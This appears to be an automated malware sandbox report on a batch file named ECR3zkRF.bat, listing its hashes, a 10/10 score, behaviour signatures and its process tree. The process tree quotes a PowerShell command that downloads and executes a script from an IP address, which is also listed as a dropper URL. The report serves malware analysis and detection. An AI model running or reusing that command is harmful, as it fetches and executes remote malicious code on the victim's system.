Overview

overview

10

Static

static

ECR3zkRF.bat

windows7_x64

10

ECR3zkRF.bat

windows10_x64

10

Analysis

  • max time kernel
    103s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200217
  • submitted
    22-02-2020 05:10

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General

  • Target

    ECR3zkRF.bat

  • Size

    195B

  • MD5

    47af73dc3ff82d0a97e7b23198acc224

  • SHA1

    b4bda7187d28ffc99c52781604a8a1b04c165e2b

  • SHA256

    1598c21c0f1291f077f108dad0286e29e58f07962959d6645f256ecd85e43162

  • SHA512

    82a6afa9ad6ace78e6a68c5dfa124e5d62927ceda54e341a04db9591b0b407f5886d3365af8a86d449870c3414ebc151bfcc256d1ac397813bf71a342358e002

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/ECR3zkRF

Signatures

  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Program crash 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ECR3zkRF.bat"
    1⤵
      PID:4052
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ECR3zkRF');Invoke-WUYVVWULORTZ;Start-Sleep -s 10000"
        2⤵
          PID:336
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 336 -s 704
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            • Program crash
            PID:3756

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • memory/3756-0-0x0000000004740000-0x0000000004741000-memory.dmp

        Filesize

        4KB

        Download

      • memory/3756-1-0x0000000004D70000-0x0000000004D71000-memory.dmp

        Filesize

        4KB

        Download